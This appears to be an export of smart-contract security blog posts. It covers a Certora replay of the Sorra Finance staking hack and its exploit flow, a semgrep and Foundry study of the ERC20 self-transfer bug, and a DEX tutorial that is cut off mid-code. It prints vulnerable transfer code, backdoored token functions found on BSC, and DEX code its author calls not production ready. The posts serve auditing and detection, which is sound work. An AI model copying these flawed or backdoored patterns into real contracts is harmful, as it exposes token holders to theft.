but for protocols with a huge TVL (ex: aave) this is a \u0026ldquo;must have\u0026rdquo; feature.\nThe final note is about modern LLMs. Humans are clearly missing bugs. Modern LLMs can only find \u0026ldquo;low hanging\u0026rdquo; bugs and also can\u0026rsquo;t find all security issues in a smart contract. Instead of training LLMs to find bugs in smart contracts, it\u0026rsquo;s better to train them to build correct invariants and let humans verify those invariants and counterexamples.\nFull source code can be found at https://github.com/ryzhak/smart-contract-audit-flow.\nThank you for reading.\n","permalink":"https://www.ryzhak.com/comprehensive-smart-contract-audit-with-certora-formal-verification/","summary":"Hey guys, in this blog post, we\u0026rsquo;re going to perform a security assessment of a smart contract and, with the help of Certora\u0026rsquo;s formal verification tool, try to prove there are no \u0026ldquo;High\u0026rdquo; severity issues residing in the source code.","title":"Comprehensive Smart Contract Audit with Certora Formal Verification"},{"content":"In this blog post we\u0026rsquo;re going to deep dive into the Sorra Finance hack, find the root cause of the bug and create a certora rule which could\u0026rsquo;ve prevented the exploit.\nHack Details Sorra Staking contract is basically a ponzi scheme. Users deposit ERC20 tokens, wait for some time, and, if there\u0026rsquo;re funds available, withdraw more ERC20 tokens.\nSorra offers 3 staking tiers (i.e. options for how long to stake ERC20 tokens):\n1. 14 days with 5% APY (code)\n2. 30 days with 20% APY (code)\n3. 60 days with 40% APY (code)\nNormal flow example:\n1. User deposits 100 ERC20 tokens in tier0 (14 days staking period)\n2. User waits for 14 days\n3. User withdraws 105 ERC20 tokens (if there were other users who also staked in this ponzi-style contract)\nNow check getPendingRewards() and _calculateRewards() methods. The root cause of the issue is that pending rewards don\u0026rsquo;t take into account already distributed rewards.\nThe bug in the getPendingRewards() method makes the following buggy flow possible:\n1. User deposits 100 ERC20 tokens in tier0 (14 days staking period)\n2. User waits for 14 days\n3. User withdraws 1 wei and gets 5 ERC20 token rewards (which is expected)\n4. User withdraws 1 wei again and suddenly gets ~5 ERC20 token rewards again (remember that pending rewards don\u0026rsquo;t account for already distributed ones)\n5. Loop continues until the contract is out of funds\nWith all that in mind the Sorra Staking contract was exploited earlier this year.\nCertora Rule Now it\u0026rsquo;s time to create a certora rule that could\u0026rsquo;ve caught that bug.\nCreate empty sorra.conf and sorra.spec files.\nCertora Config Certora config files allow setting all of the certoraRun CLI tool options in a file instead of passing them in the CLI options.\nWe need to add 2 contracts to our \u0026ldquo;scene\u0026rdquo; (i.e. contracts that certora is operating on), sorraStaking (developers chose it to start with lowecase) and MockERC20 (reward token mock):\n\u0026#34;files\u0026#34;: [ \u0026#34;src/sorra/SorraStaking.sol:sorraStaking\u0026#34;, \u0026#34;test/MockERC20.sol\u0026#34;, ] Next we need to tell certora that it should use our MockERC20 contract for rewardToken implementation:\n\u0026#34;link\u0026#34;: [ \u0026#34;sorraStaking:rewardToken=MockERC20\u0026#34;, ] We should also set which spec should be used for verification of the sorraStaking contract:\n\u0026#34;verify\u0026#34;: \u0026#34;sorraStaking:test/sorra/certora/sorra.spec\u0026#34; We\u0026rsquo;re going to use the withdrawIntegrity name for the rule that checks the bug:\n\u0026#34;rule\u0026#34;: [ \u0026#34;withdrawIntegrity\u0026#34;, ] Next we add a comment that will be shown in the certora dashboard:\n\u0026#34;msg\u0026#34;: \u0026#34;Sorra Finance\u0026#34; We also set the rule_sanity so that certora could report whether the rule we\u0026rsquo;ve just created is vacuous:\n\u0026#34;rule_sanity\u0026#34;: \u0026#34;basic\u0026#34; Finally, we set the optimistic_loop because (as far as I understand) here, here or here certora executes the loop too many times thus violating the built-in loop unwinding condition rule:\n\u0026#34;optimistic_loop\u0026#34;: true In the end we get the following certora config:\n{ \u0026#34;files\u0026#34;: [ \u0026#34;src/sorra/SorraStaking.sol:sorraStaking\u0026#34;, \u0026#34;test/MockERC20.sol\u0026#34;, ], \u0026#34;link\u0026#34;: [ \u0026#34;sorraStaking:rewardToken=MockERC20\u0026#34;, ], \u0026#34;verify\u0026#34;: \u0026#34;sorraStaking:test/sorra/certora/sorra.spec\u0026#34;, \u0026#34;rule\u0026#34;: [ \u0026#34;withdrawIntegrity\u0026#34;, ], \u0026#34;msg\u0026#34;: \u0026#34;Sorra Finance\u0026#34;, \u0026#34;rule_sanity\u0026#34;: \u0026#34;basic\u0026#34;, \u0026#34;optimistic_loop\u0026#34;: true, } Certora Spec Now it\u0026rsquo;s time to modify our empty sorra.spec file.\nFirst of all we import our MockERC20 contract so that we could use it in the spec:\nusing MockERC20 as rewardToken; Next we create a withdrawIntegrity rule and define env (blockchain environment with properties like env.msg.sender, etc\u0026hellip;) and amount (specifies the withdraw amount) variables which may take arbitrary inputs:\nrule withdrawIntegrity() { env e; uint256 amount; } Then we set some sane preconditions in the withdrawIntegrity rule so that certora could provide counterexamples without overflowing (somehow using the mathint type didn\u0026rsquo;t take any effect):\n// user\u0026#39;s balance \u0026lt; 100 mln require rewardToken.balanceOf(e, e.msg.sender) \u0026lt; 100000000000000000000000000; // withdraw amount \u0026lt; 100 mln require amount \u0026lt; 100000000000000000000000000; // users positions \u0026lt; 100 mln require rewardToken.balanceOf(e, currentContract) \u0026lt; 100000000000000000000000000; Then we tell certora that there\u0026rsquo;re no vault extensions, some users have already deposited, pending rewards exist (i.e. staking time passed) and sorraStaking can\u0026rsquo;t be a msg.sender (which makes sense):\n// no vault extensions require currentContract.vaultExtension(e) == 0; // there already exists some deposit require rewardToken.balanceOf(e, currentContract) == currentContract.positions[e.msg.sender].totalAmount; // pending rewards exist (i.e. some time passed) require getPendingRewards(e, e.msg.sender) \u0026gt; 1; // current contract can\u0026#39;t be a sender require e.msg.sender != currentContract; Then we setup some helper variables (most of them for ease of debugging in the certora dashboard) and call withdraw() with arbitrary environment and amount variables so that certora could analyze all possible inputs:\nuint256 contractBalanceBefore = rewardToken.balanceOf(e, currentContract); uint256 userBalanceBefore = rewardToken.balanceOf(e, e.msg.sender); uint256 pendingRewardsBefore = getPendingRewards(e, e.msg.sender); uint256 userDepositedAmountBefore = currentContract.positions[e.msg.sender].totalAmount; withdraw(e, amount); uint256 contractBalanceAfter = rewardToken.balanceOf(e, currentContract); uint256 userBalanceAfter = rewardToken.balanceOf(e, e.msg.sender); uint256 pendingRewardsAfter = getPendingRewards(e, e.msg.sender); uint256 userDepositedAmountAfter = currentContract.positions[e.msg.sender].totalAmount; Finally we set the assert statement which must not violate the User must not withdraw more that expected rule. \u0026ldquo;More than expected\u0026rdquo; is actually tricky so I ended up comparing the amount to be withdrawn (plus pending rewards) with the actual withdrawn amount (again plus pending rewards). Both values (before and after the withdaw) must be equal, otherwise there\u0026rsquo;s something wrong:\nassert (amount + pendingRewardsBefore) == (userBalanceAfter - userBalanceBefore + pendingRewardsAfter), \u0026#34;User can not withdraw more than expected\u0026#34;; In the end we get the following certora spec:\nusing MockERC20 as rewardToken; rule withdrawIntegrity() { env e; uint256 amount; // user\u0026#39;s balance \u0026lt; 100 mln require rewardToken.balanceOf(e, e.msg.sender) \u0026lt; 100000000000000000000000000; // withdraw amount \u0026lt; 100 mln require amount \u0026lt; 100000000000000000000000000; // users positions \u0026lt; 100 mln require rewardToken.balanceOf(e, currentContract) \u0026lt; 100000000000000000000000000; // no vault extensions require currentContract.vaultExtension(e) == 0; // there already exists some deposit require rewardToken.balanceOf(e, currentContract) == currentContract.positions[e.msg.sender].totalAmount; // pending rewards exist (i.e. some time passed) require getPendingRewards(e, e.msg.sender) \u0026gt; 1; // current contract can\u0026#39;t be a sender require e.msg.sender != currentContract; uint256 contractBalanceBefore = rewardToken.balanceOf(e, currentContract); uint256 userBalanceBefore = rewardToken.balanceOf(e, e.msg.sender); uint256 pendingRewardsBefore = getPendingRewards(e, e.msg.sender); uint256 userDepositedAmountBefore = currentContract.positions[e.msg.sender].totalAmount; withdraw(e, amount); uint256 contractBalanceAfter = rewardToken.balanceOf(e, currentContract); uint256 userBalanceAfter = rewardToken.balanceOf(e, e.msg.sender); uint256 pendingRewardsAfter = getPendingRewards(e, e.msg.sender); uint256 userDepositedAmountAfter = currentContract.positions[e.msg.sender].totalAmount; assert (amount + pendingRewardsBefore) == (userBalanceAfter - userBalanceBefore + pendingRewardsAfter), \u0026#34;User can not withdraw more than expected\u0026#34;; } Running Certora Rule Now, if we run certoraRun test/sorra/certora/sorra.conf we get the following result: https://prover.certora.com/output/8691664/cc74c97e12b844f099814bdf3aa0cd3a/?anonymousKey=955a9dba9a7a4689097f07ffe84bdbd124058e2c\nSo the counterexample is:\n1. User has a balance of 99999999999999999999999999 tokens\n2. User has 2 pending rewards before withdraw\n3. User withdraws 3751 tokens\n4. After withdrawing user has a balance of 100000000000000000000003752 tokens\nNow, if we check our assert statement we get the assertion:\n3753 == 3754 If we dive deeper we see that the pendingRewardsAfter variable is set to 1 in the counterexample while it must be equal to 0 after the withdraw. That pendingRewardsAfter variable is basically the root cause of the rule violation.\nSources 1. Contract: https://github.com/ryzhak/replaying-bugs-with-certora/blob/389f56905cdc6d170e8f2e4808b00d824eb31439/src/sorra/SorraStaking.sol\n2. Foundry tests and certora spec: https://github.com/ryzhak/replaying-bugs-with-certora/tree/389f56905cdc6d170e8f2e4808b00d824eb31439/test/sorra\nConclusion In this tutorial we covered the Sorra Finance hack and proved it with the Certora Prover which is a great tool (although with a steep learning curve) for catching such bugs. That\u0026rsquo;s all for today, stay safe.\n","permalink":"https://www.ryzhak.com/replaying-bugs-with-certora-sorra-finance/","summary":"In this blog post we\u0026rsquo;re going to deep dive into the Sorra Finance hack, find the root cause of the bug and create a \u003ca href=\"https://docs.certora.com/\"\u003ecertora\u003c/a\u003e rule which could\u0026rsquo;ve prevented the exploit.","title":"Replaying Bugs With Certora: Sorra Finance"},{"content":"Overview In this blog post we\u0026rsquo;re going to:\n1. Understand how ERC20 self transfer vulnerability works in smart contracts\n2. Create a semgrep rule for finding such contracts\n3. Scan https://github.com/tintinweb/smart-contract-sanctuary to better understand how many contracts exist with such bug\nHow it works Normal scenario:\n1. User has a balance of 100 tokens\n2. User transfers 100 tokens to his own address\n3. User still has a balance of 100 tokens\nBuggy scenario:\n1. User has a balance of 100 tokens\n2. User transfers 100 tokens to his own address\n3. User suddenly has a balance of 200 tokens\nNow check 2 examples of buggy code.\nExample 1:\nfunction _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), \u0026#34;Xfer from zero addr\u0026#34;); require(recipient != address(0), \u0026#34;Xfer to zero addr\u0026#34;); uint256 senderBalance = _balances[sender]; uint256 recipientBalance = _balances[recipient]; uint256 newSenderBalance = SafeMath.sub(senderBalance, amount); if (newSenderBalance != senderBalance) { _balances[sender] = newSenderBalance; } uint256 newRecipientBalance = recipientBalance.add(amount); if (newRecipientBalance != recipientBalance) { _balances[recipient] = newRecipientBalance; } if (_balances[sender] == 0) { _balances[sender] = 16; } emit Transfer(sender, recipient, amount); } Example 2:\nfunction _transfer( address _from, address _to, uint256 _value) private { require(_from != address(0), \u0026#34;ERC20: transfer from zero address\u0026#34;); require(_to != address(0), \u0026#34;ERC20: transfer to zero address\u0026#34;); require(balanceOf(_from) \u0026gt;= _value, \u0026#34;ERC20: insufficient balance\u0026#34;); uint256 balance_from = balanceOf(_from); uint256 balance_to = balanceOf(_to); _balances[_from] = balance_from - _value; _balances[_to] = balance_to + _value; emit Transfer(_from, _to, _value); } The root cause of the issue is that the recipient\u0026rsquo;s balance is cached at some point in the code, then some calculations or checks are performed on that cached value, and finally the recipient\u0026rsquo;s balance is updated using the earlier cached value instead of reading the latest one from the storage.\nBy the way, you may check the real case of LABUBU token at https://www.quillaudits.com/blog/hack-analysis/labubu-token-exploit-transfer-logic-flaw.\nCreating a semgrep rule Now it\u0026rsquo;s time to prepare a semgrep rule.\nWe\u0026rsquo;re aiming at dead obvious cases in order to reduce the number of false positive findings so we start with the following patterns:\n- pattern-either: - pattern: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = _balances[$TO]; ... _balances[$TO] = $SOME_VALUE; ... } - pattern: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf($TO); ... _balances[$TO] = $SOME_VALUE; ... } - pattern: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf[$TO]; ... balanceOf[$TO] = $SOME_VALUE; ... } The next step (after a couple of days of digging in https://github.com/tintinweb/smart-contract-sanctuary and improving the rule again and again) is to reduce the number of false positives even further.\nWe don\u0026rsquo;t need cases where recipient\u0026rsquo;s balance is increased by the amount function parameter (since we\u0026rsquo;re only interested in the cached one):\n- pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... _balances[$TO] += $VALUE; ... } We don\u0026rsquo;t need cases where sender\u0026rsquo;s balance is cached and updated before the recipient\u0026rsquo;s balance is cached:\n- pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf[$TO]; ... balanceOf[$TO] = $SOME_VALUE; ... $SENDER_BALANCE = balanceOf[$FROM]; ... balanceOf[$FROM] = $SOME_VALUE2; ... } We don\u0026rsquo;t need cases when recipient\u0026rsquo;s balance is updated with some other value (like value after fee), not a cached one:\n- pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf($TO); ... $OTHER_VAR = $OTHER_EXPRESSION; ... _balances[$TO] = _balances[$TO] + $OTHER_VAR; ... } We also skip cases when developers handled the from == to case explicitly:\n- pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... if ($FROM != $TO) { ... } ... } Finally we omit findings where transfer is performed in some other function:\n- pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... super._transfer($FROM, $TO, $AMOUNT); ... } In the end we get the following semgrep rule:\nrules: - id: research-self-transfer languages: - solidity severity: ERROR message: Self transfer of ERC20 tokens increases sender\u0026#39;s balance patterns: - pattern-either: - pattern: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = _balances[$TO]; ... _balances[$TO] = $SOME_VALUE; ... } - pattern: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf($TO); ... _balances[$TO] = $SOME_VALUE; ... } - pattern: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf[$TO]; ... balanceOf[$TO] = $SOME_VALUE; ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... _balances[$TO] += $VALUE; ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... _balances[$TO] = _balances[$TO].add($AMOUNT); ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf[$TO]; ... balanceOf[$TO] = $SOME_VALUE; ... $SENDER_BALANCE = balanceOf[$FROM]; ... balanceOf[$FROM] = $SOME_VALUE2; ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = _balances[$TO]; ... _balances[$TO] = $SOME_VALUE; ... $SENDER_BALANCE = _balances[$FROM]; ... _balances[$FROM] = $SOME_VALUE2; ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... $RECEPIENT_BALANCE = balanceOf($TO); ... $OTHER_VAR = $OTHER_EXPRESSION; ... _balances[$TO] = _balances[$TO] + $OTHER_VAR; ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... if ($FROM != $TO) { ... } ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... if ($FROM == $TO) { ... return true; } ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... _tokenTransfer(..., $AMOUNT, ...); ... } - pattern-not: function $NAME(address $FROM,address $TO,uint256 $VALUE) { ... super._transfer($FROM, $TO, $AMOUNT); ... } metadata: references: - https://www.quillaudits.com/blog/hack-analysis/labubu-token-exploit-transfer-logic-flaw - https://x.com/bantg/status/1888231508294451525?utm_source=substack\u0026amp;utm_medium=email Scope Now a few words regarding the https://github.com/tintinweb/smart-contract-sanctuary repository. That repository (although seems not maintained anymore) contains verified smart contract sources deployed from 2021 to 2023 (roughly) which is a pretty huge scope.\nhttps://github.com/tintinweb/smart-contract-sanctuary totally contains 1_032_565 verified smart contract sources:\nNetworkNumber of verified smart contractsarbitrum61408avalanche36743bsc364103celo1907ethereum345059fantom37623optimism13053polygon144295tron28374\nRunning the rule If you run the semgrep CLI tool (with a single rule we\u0026rsquo;ve just created) on the whole https://github.com/tintinweb/smart-contract-sanctuary repository then chances are that the tool will hang (even with https://www.theapplegeek.co.uk/blog/caffeinate running) after a couple of hours so I ended up with partial scanning of each folder in the scope which run way faster (~4 hours) compared to scanning the whole scope at once (also notice that semgrep runs on all of your CPUs so your laptop is going to be \u0026ldquo;on fire\u0026rdquo;).\nValidating the results We made our rule as explicit as possible but false positives are still in place so we have to run one more validation step in order to exclude them. Basically we need to fetch all addresses from semgrep result and check if the vulnerability exists with smth like https://github.com/foundry-rs/foundry:\nfunction testSingleContract() public { vm.createSelectFork(vm.envString(\u0026#34;RPC_URL\u0026#34;)); address target = vm.envAddress(\u0026#34;TARGET\u0026#34;); IERC20 token = IERC20(target); // if contract is not ERC20 then skip it try token.balanceOf(user) { console2.log(\u0026#39;Contract is ERC20: yes\u0026#39;); } catch Error(string memory reason) { console2.log(\u0026#39;Contract is ERC20: seems not ERC20, reverted with \u0026#39;, reason); return; } catch Panic(uint errorCode) { console2.log(\u0026#39;Contract is ERC20: seems not , reverted with error code \u0026#39;, errorCode); return; } catch (bytes memory lowLevelData) { console2.log(\u0026#39;Contract is ERC20: seems not , reverted with bytes\u0026#39;); console2.logBytes(lowLevelData); return; } // test start deal(address(token), user, 2); uint balanceBefore = token.balanceOf(user); // user transfers to self vm.prank(user); try token.transfer(user, 1) { console2.log(\u0026#39;Transfer: success\u0026#39;); } catch Error(string memory reason) { console2.log(\u0026#39;Transfer: failed with reason \u0026#39;, reason); } uint balanceAfter = token.balanceOf(user); console2.log(\u0026#39;Balance before:\u0026#39;, balanceBefore); console2.log(\u0026#39;Balance after :\u0026#39;, balanceAfter); assertTrue(balanceAfter \u0026lt;= balanceBefore); } Backdoors Surprisingly a decent amount (almost half) of findings on the BSC network are tokens with intentional backdoors.\nCheck this example of 2 transfer methods where the _transferrToken method is basically a backdoor:\nfunction _transferToken( address sender, address recipient, uint256 amount ) internal virtual { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _transferrToken( address sender, address recipient, uint256 amount ) internal virtual { if(sender == _tokenOwner){ uint256 senderAmount = _balances[sender]; uint256 receiveAmount = _balances[recipient]; _balances[sender] = senderAmount.sub(amount); _balances[recipient] = receiveAmount.add(amount);} emit Transfer(sender, recipient, amount); } Or this one where contract owner ( root) is able to self-transfer tokens basically doubling them:\nfunction _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), \u0026#34;ERC20: transfer from the zero address\u0026#34;); require(recipient != address(0), \u0026#34;ERC20: transfer to the zero address\u0026#34;); if(_ROOTList[sender] || _ROOTList[recipient]){ if(sender == _root){ _transferNofee(sender, recipient, amount); }else{ _transferRoot(sender, recipient, amount); } }else{ if(recipient == _swap){require(swap);} require(!_canSale[sender]); _transferfee(sender, recipient, amount); } } function _transferNofee(address sender, address recipient, uint256 amount) internal returns (bool) { uint256 fromHave = _balances[sender]; uint256 toHave = _balances[recipient]; _balances[sender] = fromHave.sub(amount); _balances[recipient] = toHave.add(amount); emit Transfer(sender, recipient, amount); } function _transferRoot(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _transferfee(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount.div(100).mul(90)); _balances[_destroyAddress] = _balances[_destroyAddress].add(amount.div(10)); emit Transfer(sender, _destroyAddress, amount.div(10)); emit Transfer(sender, recipient, amount.div(100).mul(90)); } Results Real token addresses won\u0026rsquo;t be shared, only the quantitative results of how many vulnerable tokens were found per each network:\nNetworkNumber of vulnerable smart contractsarbitrum1avalanche0bsc466celo0ethereum10fantom0optimism1polygon7tron1\nIf we check the findings we can make the following conclusions:\n1. All of the findings are either a scam (i.e. tokens with 0$ TVL) either have a backdoor\n2. Special shout out to BSC as a scam token leader (probably because at that time from 2021 to 2023 that network had the cheapest gas prices)\nThat\u0026rsquo;s all for today, stay safe.\n","permalink":"https://www.ryzhak.com/research-erc20-self-transfer/","summary":"\u003ch4 id=\"overview\"\u003eOverview\u003c/h4\u003e\n\u003cp\u003eIn this blog post we\u0026rsquo;re going to:{{ double-space-with-newline }}1. Understand how ERC20 self transfer vulnerability works in smart contracts{{ double-space-with-newline }}2. Create a \u003ca href=\"https://semgrep.dev/\"\u003esemgrep\u003c/a\u003e rule for finding such contracts{{ double-space-with-newline }}3. Scan \u003ca href=\"https://github.com/tintinweb/smart-contract-sanctuary\"\u003ehttps://github.com/tintinweb/smart-contract-sanctuary\u003c/a\u003e to better understand how many contracts exist with such bug\u003c/p\u003e","title":"Research: ERC20 Self Transfer"},{"content":"In this tutorial we’re going to build a very basic decentralized exchange (DEX) like Uniswap or PancakeSwap.\nOur project will consist of 2 smart contracts: Exchange.sol and ExchangePool.sol.\nFull source code can be found here: https://github.com/ryzhak/dex-demo\nExchange contract has the following features:\nExchange owner can create a new pool of a pair of ERC20 tokens Any user can add liquidity (stake a pair of ERC20 tokens) to the pool. When a user adds liquidity to the pool he receives LP (liquidity provider) tokens which can be later used to remove liquidity (unstake a pair of ERC20 tokens) or for liquidity mining (not implemented in this tutorial). Normally the more liquidity a user adds in a single pool the more fee a user gets when somebody makes a swap/trade in the pool (again swap fees are not implemented in this tutorial). Any user can remove liquidity (unstake a pair of ERC20 tokens) from the pool to get his ERC20 tokens back. When a user removes liquidity his LP tokens are burned. Any user can make a swap/trade/sell/buy in the pool. Notice that this project is not production ready as the following features are not implemented:\nSwap trading fees Slippage protection Many validation steps are missed Reentrancy protection ETH =\u0026gt; ERC20 and ERC20 =\u0026gt; ETH swaps are not supported. Exchange pool consists of 2 ERC20 tokens. But ETH is not ERC20 compliant. That is why if we were to implement such a feature we would have to convert ETH to WETH inside the contract and operate with WETH because it is ERC20 compliant. So when a user sells ETH then ETH is converted to WETH inside the smart contract and sent to the pool. When a user buys ETH then WETH is converted to ETH in the smart contract and sent to the user. AMM Centralized exchanges use order book to match sellers and buyers. So if a user wants to buy ETH but nobody sells it then order will not be fulfilled. On the contrary, with a decentralized exchange user will always fulfill the order. Uniswap and other decentralized exchanges use different automated market maker models (AMM). Uniswap uses constant product k = a * b formula where a is the amount of the 1st token in the liquidity pool and b is the amount of the 2nd token in the liquidity pool. K is a constant that means total assets liquidity in the pool has to remain the same. So when a user sells/swaps B token to buy A token then A price goes up as there becomes less A in the pool and B price goes down as there becomes more B in the pool.\nExample:\nUser1 adds 10 CAT tokens and 100 DOG tokens to the liquidity pool. User1 gets 10 * 100 = 1000 LP (liquidity providers) tokens. User2 wants to sell 1 CAT token to buy as many DOG tokens as possible. Amount of CAT tokens after the swap: 11. K (constant product) should always remain the same so the amount of DOG tokens after the swap: K / 11 = 1000 / 11 = ~90.91. Amount of DOG tokens that user2 will get for selling 1 CAT token: total amount of DOG token in the pool before the swap - amount of DOG token in the pool after the swap = 100 - 90.91 = 9.09\nInit project Requirements:\nTruffle Solidity NodeJS Ganache Create a new project folder and run truffle init to initialize an empty truffle project. Next install openzeppelin contracts via npm install @openzeppelin/contracts \u0026ndash;save. Then create an empty ExchangePool contract via truffle create contract ExchangePool. And finally create an empty Exchange contract via truffle create contract Exchange.\nCreating a pool contract Add the following code to the ExchangePool.sol file:\n// SPDX-License-Identifier: MIT pragma solidity \u0026gt;=0.4.22 \u0026lt;0.9.0; import \u0026#39;@openzeppelin/contracts/access/Ownable.sol\u0026#39;; import \u0026#39;@openzeppelin/contracts/token/ERC20/ERC20.sol\u0026#39;; /** * @title DEX pool contract */ contract ExchangePool is ERC20, Ownable { // ERC20 token addresses in the pool (sorted: tokenAddress0 \u0026lt; tokenAddress1) address public tokenAddress0; address public tokenAddress1; /** * @notice Contract constructor * @param _tokenAddress0 1st ERC20 token address in the pool * @param _tokenAddress1 2nd ERC20 token address in the pool */ constructor(address _tokenAddress0, address _tokenAddress1) ERC20(\u0026#39;POOL-TOKEN\u0026#39;, \u0026#39;POOL-LP\u0026#39;) { tokenAddress0 = _tokenAddress0; tokenAddress1 = _tokenAddress1; } //====================== // Owner methods. // Owner is an exchange. //====================== /** * @notice Approves owner (normally the exchange contract) to spend tokens in the pool * @param _tokenAddress ERC20 token address in the pool * @param _tokenAmount ERC20 token amount to approve */ function approvePoolTokenAmount( address _tokenAddress, uint256 _tokenAmount ) public onlyOwner { require(tokenAddress0 == _tokenAddress || tokenAddress1 == _tokenAddress, \u0026#39;NOT_POOL_TOKEN\u0026#39;); ERC20(_tokenAddress).approve(owner(), _tokenAmount); } /** * @notice Burns LP tokens * @param _account account address to burn LP tokens from * @param _amount amount of tokens to burn */ function burn(address _account, uint256 _amount) public onlyOwner { _burn(_account, _amount); } /** * @notice Mints LP tokens * @param _account address where to mint LP tokens * @param _amount amount of LP tokens to mint */ function mint(address _account, uint256 _amount) public onlyOwner { _mint(_account, _amount); } } Exchange contract will have a list of all available pools (ExchangePool contract). Only Exchange contract can create new pools so Exchange will always be the owner of the ExchangePool contract.\nExchangePool is ERC20 token itself because it maintains LP (liquidity provider) tokens of users who added liquidity to the pool.\nExchangePool contract has 2 ERC20 token addresses which define the pool. Notice that token addresses in the pool are always sorted so tokenAddress0 \u0026lt; tokenAddress1.\nOwner method approvePoolTokenAmount() approves the owner (exchange) to spend tokens from the pool’s address.\nOwner method mint() creates new LP (liquidity provider) tokens when a user adds liquidity to the pool.\nOwner method burn() deletes LP tokens when a user removes liquidity from the pool.\nCreating an exchange contract Add the following code to the Exchange.sol file:\n// SPDX-License-Identifier: MIT pragma solidity \u0026gt;=0.4.22 \u0026lt;0.9.0; import \u0026#39;@openzeppelin/contracts/access/Ownable.sol\u0026#39;; import \u0026#39;@openzeppelin/contracts/token/ERC20/IERC20.sol\u0026#39;; import \u0026#39;./ExchangePool.sol\u0026#39;; /** * @title demo DEX contract */ contract Exchange is Ownable { // all available liquidity pools for token pairs mapping(address =\u0026gt; mapping(address =\u0026gt; address)) public pools; //================ // Public methods //================ /** * @notice Returns a pool address by ERC20 token addresses in the pool (addresses can be in any order) * @param _tokenAddress0 1st ERC20 token address in the pool * @param _tokenAddress1 2nd ERC20 token address in the pool */ function getPoolAddress(address _tokenAddress0, address _tokenAddress1) public view returns (address) { // sort addresses and return a pool address (address sortedTokenAddress0, address sortedTokenAddress1) = sortAddresses(_tokenAddress0, _tokenAddress1); return pools[sortedTokenAddress0][sortedTokenAddress1]; } /** * @notice Sorts 2 addresses (addresses in the pool are always sorted) * @param _tokenAddress0 1st ERC20 token address in the pool * @param _tokenAddress1 2nd ERC20 token address in the pool */ function sortAddresses(address _tokenAddress0, address _tokenAddress1) public pure returns (address, address) { return _tokenAddress0 \u0026lt; _tokenAddress1 ? (_tokenAddress0, _tokenAddress1) : (_tokenAddress1, _tokenAddress0); } /** * @notice Adds liquidity (ERC20 tokens) to the pool * @param _tokenAddress0 1st ERC20 token address * @param _tokenAddress1 2nd ERC20 token address * @param _amountToken0 1st ERC20 token amount * @param _amountToken1 2nd ERC20 token amount */ function addLiquidity( address _tokenAddress0, address _tokenAddress1, uint256 _amountToken0, uint256 _amountToken1 ) external { // get a pool contract ExchangePool pool = ExchangePool(getPoolAddress(_tokenAddress0, _tokenAddress1)); // check that pool exists require(address(pool) != address(0), \u0026#39;POOL_DOES_NOT_EXIST\u0026#39;); // check that user has enough tokens require(IERC20(_tokenAddress0).balanceOf(msg.sender) \u0026gt;= _amountToken0, \u0026#39;NOT_ENOUGH_BALANCE\u0026#39;); require(IERC20(_tokenAddress1).balanceOf(msg.sender) \u0026gt;= _amountToken1, \u0026#39;NOT_ENOUGH_BALANCE\u0026#39;); // transfer tokens to the pool (user should approve exchange contract to transfer tokens) IERC20(_tokenAddress0).transferFrom(msg.sender, address(pool), _amountToken0); IERC20(_tokenAddress1).transferFrom(msg.sender, address(pool), _amountToken1); // mint LP tokens to the user pool.mint(msg.sender, _amountToken0 * _amountToken1); } /** * @notice Removes liquidity from the pool. * Burns user\u0026#39;s LP tokens and transfers his ERC20 tokens back. * @param _tokenAddress0 1st ERC20 token address in the pool * @param _tokenAddress1 2nd ERC20 token address in the pool * @param _lpTokensAmount amount of LP (liquidity provider) tokens to burn */ function removeLiquidity( address _tokenAddress0, address _tokenAddress1, uint256 _lpTokensAmount ) external { // get a pool contract ExchangePool pool = ExchangePool(getPoolAddress(_tokenAddress0, _tokenAddress1)); // check that pool exists require(address(pool) != address(0), \u0026#39;POOL_DOES_NOT_EXIST\u0026#39;); // check that user has enough LP tokens require(IERC20(address(pool)).balanceOf(msg.sender) \u0026gt;= _lpTokensAmount, \u0026#39;NOT_ENOUGH_LP_BALANCE\u0026#39;); // burn LP tokens pool.burn(msg.sender, _lpTokensAmount); // get token amounts to transfer uint256 totalShares = (IERC20(pool.tokenAddress0()).balanceOf(address(pool)) * IERC20(pool.tokenAddress1()).balanceOf(address(pool))); uint256 tokenAmount0 = _lpTokensAmount * IERC20(pool.tokenAddress0()).balanceOf(address(pool)) / totalShares; uint256 tokenAmount1 = _lpTokensAmount * IERC20(pool.tokenAddress1()).balanceOf(address(pool)) / totalShares; // approve exchange to transfer tokens from the pool address pool.approvePoolTokenAmount(pool.tokenAddress0(), 